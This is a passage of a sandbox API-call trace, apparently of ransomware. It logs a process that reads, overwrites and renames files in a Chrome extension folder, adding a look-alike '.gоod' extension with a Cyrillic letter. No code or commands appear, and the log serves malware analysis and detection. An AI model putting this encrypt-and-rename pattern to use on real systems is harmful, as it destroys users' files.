lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\icon_128.png", lpFilePart=0x0) returned 0x7c [0270.170] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f6e89d0) returned 1 [0270.170] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\icon_128.png" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\icon_128.png"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x828 [0270.171] GetFileType (hFile=0x828) returned 0x1 [0270.171] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6e8940) returned 1 [0270.171] GetFileType (hFile=0x828) returned 0x1 [0270.171] WriteFile (in: hFile=0x828, lpBuffer=0x388f188*, nNumberOfBytesToWrite=0xc90, lpNumberOfBytesWritten=0x1f6e89b8, lpOverlapped=0x0 | out: lpBuffer=0x388f188*, lpNumberOfBytesWritten=0x1f6e89b8*=0xc90, lpOverlapped=0x0) returned 1 [0270.171] CloseHandle (hObject=0x828) returned 1 [0270.171] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\icon_128.png", nBufferLength=0x105, lpBuffer=0x1f6e8650, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\icon_128.png", lpFilePart=0x0) returned 0x7c [0270.172] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\icon_128.png.gоod", nBufferLength=0x105, lpBuffer=0x1f6e8650, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\icon_128.png.gоod", lpFilePart=0x0) returned 0x81 [0270.172] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f6e8ae0) returned 1 [0270.172] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\icon_128.png" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\icon_128.png"), fInfoLevelId=0x0, lpFileInformation=0x1f6e8bc0 | out: lpFileInformation=0x1f6e8bc0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x566803c1, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x56c9d490, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0x9d3e89f0, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0xc90)) returned 1 [0270.172] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6e8aa0) returned 1 [0270.172] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\icon_128.png" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\icon_128.png"), lpNewFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\icon_128.png.gоod" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\icon_128.png.gоod")) returned 1 [0270.173] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\icon_16.png", nBufferLength=0x105, lpBuffer=0x1f6e8650, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\icon_16.png", lpFilePart=0x0) returned 0x7b [0270.173] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f6e8b20) returned 1 [0270.173] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\icon_16.png" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\icon_16.png"), fInfoLevelId=0x0, lpFileInformation=0x3890568 | out: lpFileInformation=0x3890568*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x566851e4, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x56c9d490, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0x56c9d490, ftLastWriteTime.dwHighDateTime=0x1d327ca, nFileSizeHigh=0x0, nFileSizeLow=0x8f)) returned 1 [0270.173] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6e8ae0) returned 1 [0270.174] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\icon_16.png", nBufferLength=0x105, lpBuffer=0x1f6e84b0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\icon_16.png", lpFilePart=0x0) returned 0x7b [0270.174] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f6e89d0) returned 1 [0270.174] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\icon_16.png" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\icon_16.png"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x828 [0270.174] GetFileType (hFile=0x828) returned 0x1 [0270.174] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6e8940) returned 1 [0270.174] GetFileType (hFile=0x828) returned 0x1 [0270.174] GetFileSize (in: hFile=0x828, lpFileSizeHigh=0x1f6e8b78 | out: lpFileSizeHigh=0x1f6e8b78*=0x0) returned 0x8f [0270.174] ReadFile (in: hFile=0x828, lpBuffer=0x3890960, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1f6e8aa8, lpOverlapped=0x0 | out: lpBuffer=0x3890960*, lpNumberOfBytesRead=0x1f6e8aa8*=0x8f, lpOverlapped=0x0) returned 1 [0270.174] CloseHandle (hObject=0x828) returned 1 [0270.562] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\icon_16.png", nBufferLength=0x105, lpBuffer=0x1f6e84b0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\icon_16.png", lpFilePart=0x0) returned 0x7b [0270.562] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f6e89d0) returned 1 [0270.562] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\icon_16.png" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\icon_16.png"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x8a4 [0270.562] GetFileType (hFile=0x8a4) returned 0x1 [0270.562] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6e8940) returned 1 [0270.562] GetFileType (hFile=0x8a4) returned 0x1 [0270.562] WriteFile (in: hFile=0x8a4, lpBuffer=0x3995370*, nNumberOfBytesToWrite=0x90, lpNumberOfBytesWritten=0x1f6e89b8, lpOverlapped=0x0 | out: lpBuffer=0x3995370*, lpNumberOfBytesWritten=0x1f6e89b8*=0x90, lpOverlapped=0x0) returned 1 [0270.563] CloseHandle (hObject=0x8a4) returned 1 [0270.563] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\icon_16.png", nBufferLength=0x105, lpBuffer=0x1f6e8650, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\icon_16.png", lpFilePart=0x0) returned 0x7b [0270.563] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\icon_16.png.gоod", nBufferLength=0x105, lpBuffer=0x1f6e8650, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\icon_16.png.gоod", lpFilePart=0x0) returned 0x80 [0270.563] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f6e8ae0) returned 1 [0270.563] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\icon_16.png" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\icon_16.png"), fInfoLevelId=0x0, lpFileInformation=0x1f6e8bc0 | out: lpFileInformation=0x1f6e8bc0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x566851e4, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x56c9d490, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0x9d7a09bd, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x90)) returned 1 [0270.563] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6e8aa0) returned 1 [0270.563] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\icon_16.png" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\icon_16.png"), lpNewFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\icon_16.png.gоod" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\icon_16.png.gоod")) returned 1 [0270.564] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\main.html", nBufferLength=0x105, lpBuffer=0x1f6e8650, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\main.html", lpFilePart=0x0) returned 0x79 [0270.564] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f6e8b20) returned 1 [0270.564] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\main.html" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\main.html"), fInfoLevelId=0x0, lpFileInformation=0x3996748 | out: lpFileInformation=0x3996748*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5668ee19, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x56693a76, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0xcfb12a00, ftLastWriteTime.dwHighDateTime=0x1d03fb1, nFileSizeHigh=0x0, nFileSizeLow=0x5c)) returned 1 [0270.564] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6e8ae0) returned 1 [0270.564] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\main.html", nBufferLength=0x105, lpBuffer=0x1f6e84b0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\main.html", lpFilePart=0x0) returned 0x79 [0270.564] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f6e89d0) returned 1 [0270.564] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\main.html" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\main.html"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x8a4 [0270.565] GetFileType (hFile=0x8a4) returned 0x1 [0270.565] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6e8940) returned 1 [0270.565] GetFileType (hFile=0x8a4) returned 0x1 [0270.565] GetFileSize (in: hFile=0x8a4, lpFileSizeHigh=0x1f6e8b78 | out: lpFileSizeHigh=0x1f6e8b78*=0x0) returned 0x5c [0270.565] ReadFile (in: hFile=0x8a4, lpBuffer=0x3996b10, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1f6e8aa8, lpOverlapped=0x0 | out: lpBuffer=0x3996b10*, lpNumberOfBytesRead=0x1f6e8aa8*=0x5c, lpOverlapped=0x0) returned 1 [0270.565] CloseHandle (hObject=0x8a4) returned 1 [0270.623] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\main.html", nBufferLength=0x105, lpBuffer=0x1f6e84b0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\main.html", lpFilePart=0x0) returned 0x79 [0270.623] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f6e89d0) returned 1 [0270.623] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\main.html" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\main.html"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x8a4 [0270.624] GetFileType (hFile=0x8a4) returned 0x1 [0270.624] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6e8940) returned 1 [0270.624] GetFileType (hFile=0x8a4) returned 0x1 [0270.624] WriteFile (in: hFile=0x8a4, lpBuffer=0x3811430*, nNumberOfBytesToWrite=0x60, lpNumberOfBytesWritten=0x1f6e89b8, lpOverlapped=0x0 | out: lpBuffer=0x3811430*, lpNumberOfBytesWritten=0x1f6e89b8*=0x60, lpOverlapped=0x0) returned 1 [0270.624] CloseHandle (hObject=0x8a4) returned 1 [0270.625] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\main.html", nBufferLength=0x105, lpBuffer=0x1f6e8650, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\main.html", lpFilePart=0x0) returned 0x79 [0270.625] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\main.html.gоod", nBufferLength=0x105, lpBuffer=0x1f6e8650, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\main.html.gоod", lpFilePart=0x0) returned 0x7e [0270.625] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f6e8ae0) returned 1 [0270.625] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\main.html" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\main.html"), fInfoLevelId=0x0, lpFileInformation=0x1f6e8bc0 | out: lpFileInformation=0x1f6e8bc0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5668ee19, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x56693a76, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0x9d838ef1, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x60)) returned 1 [0270.625] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6e8aa0) returned 1 [0270.625] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\main.html" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\main.html"), lpNewFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\main.html.gоod" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\main.html.gоod")) returned 1 [0270.913] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\main.js", nBufferLength=0x105, lpBuffer=0x1f6e8650, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\main.js", lpFilePart=0x0) returned 0x77 [0270.913] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f6e8b20) returned 1 [0270.913] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\main.js" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\main.js"), fInfoLevelId=0x0, lpFileInformation=0x37e86a8 | out: lpFileInformation=0x37e86a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x56698a6a, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x56698896, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0xcfb12a00, ftLastWriteTime.dwHighDateTime=0x1d03fb1, nFileSizeHigh=0x0, nFileSizeLow=0x5b)) returned 1 [0270.913] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6e8ae0) returned 1 [0270.913] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\main.js", nBufferLength=0x105, lpBuffer=0x1f6e84b0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\main.js", lpFilePart=0x0) returned 0x77 [0270.913] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f6e89d0) returned 1 [0270.914] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\main.js" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\main.js"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x86c [0270.914] GetFileType (hFile=0x86c) returned 0x1 [0270.914] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6e8940) returned 1 [0270.914] GetFileType (hFile=0x86c) returned 0x1 [0270.914] GetFileSize (in: hFile=0x86c, lpFileSizeHigh=0x1f6e8b78 | out: lpFileSizeHigh=0x1f6e8b78*=0x0) returned 0x5b [0270.914] ReadFile (in: hFile=0x86c, lpBuffer=0x37e8a50, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1f6e8aa8, lpOverlapped=0x0 | out: lpBuffer=0x37e8a50*, lpNumberOfBytesRead=0x1f6e8aa8*=0x5b, lpOverlapped=0x0) returned 1 [0270.914] CloseHandle (hObject=0x86c) returned 1 [0270.955] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\main.js", nBufferLength=0x105, lpBuffer=0x1f6e84b0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\main.js", lpFilePart=0x0) returned 0x77 [0270.955] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f6e89d0) returned 1 [0270.955] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\main.js" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\main.js"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x86c [0270.956] GetFileType (hFile=0x86c) returned 0x1 [0270.956] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6e8940) returned 1 [0270.956] GetFileType (hFile=0x86c) returned 0x1 [0270.956] WriteFile (in: hFile=0x86c, lpBuffer=0x3861588*, nNumberOfBytesToWrite=0x60, lpNumberOfBytesWritten=0x1f6e89b8, lpOverlapped=0x0 | out: lpBuffer=0x3861588*, lpNumberOfBytesWritten=0x1f6e89b8*=0x60, lpOverlapped=0x0) returned 1 [0270.957] CloseHandle (hObject=0x86c) returned 1 [0270.957] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\main.js", nBufferLength=0x105, lpBuffer=0x1f6e8650, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\main.js", lpFilePart=0x0) returned 0x77 [0270.957] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\main.js.gоod", nBufferLength=0x105, lpBuffer=0x1f6e8650, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\main.js.gоod", lpFilePart=0x0) returned 0x7c [0270.957] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f6e8ae0) returned 1 [0270.957] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\main.js" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\main.js"), fInfoLevelId=0x0, lpFileInformation=0x1f6e8bc0 | out: lpFileInformation=0x1f6e8bc0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x56698a6a, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x56698896, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0x9db6820b, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x60)) returned 1 [0270.957] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6e8aa0) returned 1 [0270.957] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\main.js" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\main.js"), lpNewFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\main.js.gоod" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\main.js.gоod")) returned 1 [0270.958] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\manifest.json", nBufferLength=0x105, lpBuffer=0x1f6e8650, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\manifest.json", lpFilePart=0x0) returned 0x7d [0270.958] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f6e8b20) returned 1 [0270.958] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\manifest.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\manifest.json"), fInfoLevelId=0x0, lpFileInformation=0x3862948 | out: lpFileInformation=0x3862948*(dwFileAttributes=0x20, 